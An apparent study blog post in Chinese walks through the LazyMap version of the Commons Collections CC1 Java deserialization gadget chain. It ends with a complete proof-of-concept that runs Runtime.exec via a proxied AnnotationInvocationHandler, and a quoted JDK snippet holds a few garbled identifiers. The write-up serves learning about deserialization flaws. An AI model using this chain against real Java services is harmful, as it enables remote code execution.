0x01 LazyMap版本构造利用链的思路

在LazyMap中,也有一个地方调用到了transform()方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key); // <----------在这里
map.put(key, value);
return value;
}
return map.get(key);
}

从代码来看,我们需要进入这个if,然后让factory变成之前写好的chainedTransformer,至于怎么进if之后再说。先看看哪里会调用到get()呢……get()太多了,天知道是怎么找到的。但是直接看结果吧,是我们的老朋友AnnotationInvocationHandler。当然即使确定好了类也有5个get()方法,但是我们能控制get()的参数的只有一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member); // <-----------这个get()是可控的

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

那invoke怎么被调用呢?其实从字面意思来看,这是个动态代理的调用处理器类(InvocationHandler)。这里又要补充没写到博客里的东西,直接把学动态代理时搓的一点代码放上来吧

1
2
3
4
5
6
7
8
9
// KunKun.java 定义接口
package Proxy;

public interface KunKun { // 接口定义需要interface关键字
void sing(); // 接口中的方法默认是public abstract
void dance();
void rap();
void basketball();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// KunKunImpl.java 实现类
package Proxy;

public class KunKunImpl implements KunKun { // 实现类需要implements关键字声明实现的接口
@Override
public void sing() {
System.out.println("只因你太美,baby~");
}

@Override
public void dance() {
System.out.println("铁山靠");
}

@Override
public void rap() {
System.out.println("你干嘛~哎呦~");
}

@Override
public void basketball() {
System.out.println("坤坤打篮球");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// IdolProducer.java 动态代理类
package Proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class IdolProducer {
public static KunKun createIdolProxy(KunKun kunkun) {
/*
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException {...}

1、ClassLoader直接使用被代理对象的ClassLoader即可(这里就是KunKun的)
2、interfaces是被代理对象实现的接口,这里就是KunKun接口
3、InvocationHandler是一个接口,需要实现invoke方法,使用匿名内部类实现
*/
KunKun proxy = (KunKun) Proxy.newProxyInstance(kunkun.getClass().getClassLoader(),
new Class[]{KunKun.class}, new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("sing") || methodName.equals("dance")) {
Object res = method.invoke(kunkun, args);
switch (methodName) {
case "sing":
System.out.println("唱完了");
break;
case "dance":
System.out.println("跳完了");
break;
}
return res;
}
else {
return method.invoke(kunkun, args);
}
}
});
return proxy;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
// Test.java 测试
package Proxy;

public class Test {
public static void main(String[] args) {
KunKun kunkun = new KunKunImpl(); // 选择一个实现类实例化坤坤
KunKun proxy = IdolProducer.createIdolProxy(kunkun); // 代理坤坤
proxy.sing();
proxy.dance();
proxy.rap();
proxy.basketball();
}
}

顺便在代码里也有注释说明干了什么,但还是大概解释一下。Java中代理这玩意其实和平时俗称翻墙的代理很像,我们实例化好对象后,将对象挂上代理,然后我们我们所有的方法调用全部都通过代理对象调用。就像电脑挂上代理后所有的流量都走了代理服务器,我们所有的方法调用也都经过代理类的处理后才执行。我们再看给KunKun写的代理类,里面有个InvocationHandler() 。虽然这里使用匿名内部类的形式实现,但很明显我们可以在外部实例化后实现,然后再直接放入Proxy.newProxyInstance()。

然后话说回来,AnnotationInvocationHandler也是个调用处理器类,是个继承了InvocationHandler接口的实现。所以这里invoke的调用需要我们在利用时通过代理调用Map的任意方法,invoke就会自动触发。最后和TransformedMap版本一样,我们需要readObject()方法,也直接利用AnnotationInvocationHandler的readObject()就好了。


0x02 构造利用链

  1. 老样子,通过ChainedTransformer利用反射机制构造runtime.exec(),new ConstantTransformer(Runtime.class)依然不要丢

  2. LazyMap的构造函数也是protected,同样是decorate()方法会调用构造函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
    }

    其实还有个传入Map和Factory的decorate(),很明显我们并不会用到那个。所以我们这么写

    1
    2
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
  3. 现在lazyMap保存的的factory就是chainedTransformer,那么上文留下的问题就是,LazyMap.get()怎么进入if。我们看if的判断 map.containsKey(key) == false,其实就是判断现在的map能不能找到这个key,如果没找到就可以进入if代码块了。所以我们可以主动调用一下get()方法

    1
    lazyMap.get("");

    因为我们给key设置的类型是Object,所以随便传什么类都行,这里随便传个空字符串。很明显我们没有这个key,成功弹出计算器

  4. 接下来我们用TransformedMap版本同样的方法构造一个AnnotationInvocationHandler对象

    1
    2
    3
    4
    Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
    aihConstructor.setAccessible(true);
    InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

    这里传递的注解类型影响不大,因为这里没有条件限制

  5. 然后给map加个祝福(代理)

    1
    Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);

    这里上代理的写法就和前面给KunKun上代理的写法差不多了,传入的invocationHandler也是我们上一步写好的。可以试一下是否能通过代理触发

    1
    mapProxy.size();

    这边用了一个无参的map的方法size(),使用有参方法触发会导致Too many parameters for an annotation method报错。可以成功弹出计算器

  6. 最后我们需要readObject()触发,其实和之前一样,还是用AnnotationInvocationHandler,我们之前就用过了

    1
    Object object = aihConstructor.newInstance(Override.class, mapProxy);

    而且这次我们传入的注解类型依然没有限制。那为什么可以用这个readObject()触发呢?或者说,是这个readObject()内哪里调用了我们mapProxy的一个无参方法呢?诶,其实还是我们之前见过的,是entrySet()

    1
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

    我们之前分析TransformedMap链的时候就遇到了,当初我们其实只是在测试代码时用到了entrySet()获取键值对,然后测试了setValue()的触发。但是这里恰恰好,memberValues就是传入的mapProxy,而entrySet()是Map类型的无参方法,巧之又巧。

  7. 序列化+反序列化,成功弹出计算器。LazyMap版CC1链到此结束


0x03 LazyMap版CC1完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

@SuppressWarnings("all")
public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);

Object object = aihConstructor.newInstance(Override.class, mapProxy);
serialize(object);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static Object unserialize(String path) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

0x04 后记

然而我们的CC1链在8u71后就失效了,这是为什么呢?我们看看8u71的AnnotationInvocationHandler修改的readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void readObject(java.io.ObjectInptJtStream s)
throws java.io.IOException, C1assNotFoundException {
ObjectInputStream.GetField fields = s.readFields();

Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);

Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name));
}
}
mv.put(name, value);
}

对于TransformedMap版本的利用链,因为原本的setValue()没了,自然调用不了,无法触发了。而LazyMap版本的利用链,emmmm总之就是实现的方式不一样了,原理似乎挺复杂的……就不分析了罢(其实是因为没找到资料,也没找到源码)


0x05 差点忘了流程图

同样是CC1链,我们可以把两条链的流程图放一起看看有什么区别

graph TD;
	start("AnnotationInvocationHandler.readObject()")
	last["InvokerTransformer.transform()"]
	final("Runtime.exec()")
	
	start -->|"memberValue.setValue(...)"| TransformedMap1["(AbstractInputCheckedMapDecorator) MapEntry.setValue()"]
	TransformedMap1 -->|"parent.checkSetValue(value)"| TransformedMap2["TransformedMap.checkSetValue()"]
	TransformedMap2 -->|"valueTransformer.transform(value)"| last
	
	start -->|"memberValues.entrySet()(触发动态代理)"| LazyMap1["AnnotationInvocationHandler.invoke()"]
	LazyMap1 --> |"memberValues.get(member)"| LazyMap2["LazyMap.get()"]
	LazyMap2 --> |"factory.transform(key)"| last
	
	last -->|"method.invoke(input, iArgs)"| final